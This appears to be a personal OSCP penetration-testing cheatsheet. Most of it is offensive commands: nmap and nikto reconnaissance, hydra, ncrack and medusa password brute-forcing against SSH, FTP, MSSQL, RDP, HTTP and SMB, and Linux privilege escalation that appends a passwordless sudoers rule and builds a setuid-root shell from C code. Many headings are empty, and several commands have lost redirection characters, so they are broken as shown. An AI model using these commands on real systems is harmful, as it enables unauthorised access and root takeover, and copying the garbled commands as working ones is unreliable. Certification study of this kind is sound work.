OSCP Cheatsheet

This was the cheatsheet and containing the methodologies that were compiled when I took my OSCP.

I just left this as is and made a bigger cheatsheet on top of this, which is this site.

OSINT

Reconnaissance

nmap -sP $subnet -oA sP-$subnet
nmap -sS $host -oA sS-$rhost
nmap -A -p $ports -oA A-$rhost
nmap -sS -T4 -p- $host -oA -sS-T4-p-$rhost
nmap -sC -T4 $host  -oA sC-T4-$host  nmap -sT -T4 $host -oA sT-T4-$rhost  nmap -sA -T4 $rhost -oA sA-T4-$rhost 
unicornscan -v -m U -p all $rhost unicornscan-udp-$rhost
python3 autorecon.py $rhost

More NMAP

Network

Databases

Web

wafw00f http://$rhost
nikto -h $url -C all -oX

Brute Forcing Online

  1. cewl $url -m 6 -w $url.txt
  2. Edit /etc/john/john.conf and add the lines below to the end 
        20$[0-2]$[0-9]
    19$[5-9]$[0-9]
    $[0-9]$[0-9]
    $[0-9]$[0-9]$[0-9]

  3. john --wordlist=cewl-$url.txt --rules --stdout cewl-johnMutated-wordlist-$url.txt

  4. SSH/FTP/MSSQL: 

        hydra -t 4 -l $username -P $wordlist $rhost $protocol(ssh/ftp/mssql)[common usernames: mssql=sa,ssh=root,ftp=anonymous/root,]

  5. RDP: 
        ncrack -u $username -P $wordlist $rhost:$rport
  6. WEB: 
        medusa -h $url -u admin -P cewl-johnMutated-wordlist-$url.txt -M http -m DIR:/(where the login is) -T 10
    • BurpSuite
  7. HTTP-BasicAuth: 
        hydra -t 4 -L $username-wordlist -P cewl-johnMutated-wordlist-$url.txt $rhost -s $rport http-get /$rpath
  8. SMB: 
        hydra -l $username -P $wordlist.txt $rhost smb -V

Exploitation

Initial Shell Checks

Shells

Privilege Escalation - Linux

    for directory1 in $(ls -lR 21 / | grep -v "Permission" |grep dr|grep xrw|grep -v "drwxrwxr-x"|grep -v driver|grep -v drv|grep -v ""|awk '{print $9}'); do for directory2 in $(find / -name $directory1 21|grep -v "Permission"); do ls -ld $directory2|grep xrw|grep -v ""; done; done
* ADD to sudoers command: 
    echo '#!/bin/bash'  /tmp/addMeToSUDOERS
    echo 'echo "www-data ALL=NOPASSWD: ALL"  /etc/sudoers && chmod 440 /etc/sudoers'  /tmp/addMeToSUDOERS
* ADD to sudoers command: * ALTERNATIVE to ABOVE: 
    int main(void)
    { 
    setgid(0);
    setuid(0);
    execl("/bin/sh", "sh", 0); 
    }
    # Compile with: `gcc test.c -o test`

    #!/bin/bash
    chown root /tmp/test 
    chgrp root /tmp/test
    chmod u+s /tmp/test
* OUT_OF_IDEAS?: dpkg -l and check versions with exploit-db * STILL OUT?: Follow g0tm1lk ^4

Privilege Escalation - Windows

Privilege Escalation Exploits

Dumping Credentials

Network Pivoting

OSCP Post Checks

House Cleaning

CheatSheets

Other Resources

OSCP Resources

[^33]: Graceful security

[^35]: Ethical Hackers Club